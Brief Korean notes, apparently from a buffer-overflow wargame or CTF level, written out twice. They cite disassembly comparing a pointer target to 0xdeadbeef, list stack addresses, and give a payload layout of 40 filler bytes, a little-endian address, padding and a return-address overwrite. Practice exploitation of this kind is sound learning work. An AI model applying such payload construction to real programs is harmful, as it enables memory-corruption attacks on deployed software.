1. 버퍼오버플로우
2. *check==0xdeadbeef
0x080484ad <main+29>: mov 0xfffffff0(%ebp),%eax
0x080484b0 <main+32>: cmpl $0xdeadbeef,(%eax)
이부분이 힌트이다!
ebp: 0xbffff678
check: ebp-16
deadbeef: 0x80484b2
fgets 부분: 0xbffff640
A*40+\xb2\x84\x04\x08"+A*12+A*4+RET부분!
1. 버퍼오버플로우
2. *check==0xdeadbeef
0x080484ad <main+29>: mov 0xfffffff0(%ebp),%eax
0x080484b0 <main+32>: cmpl $0xdeadbeef,(%eax)
ebp: 0xbffff678
check: ebp-16
deadbeef: 0x80484b2
fgets 부분: 0xbffff640
A*40+\xb2\x84\x04\x08"+A*12+A*4+RET부분!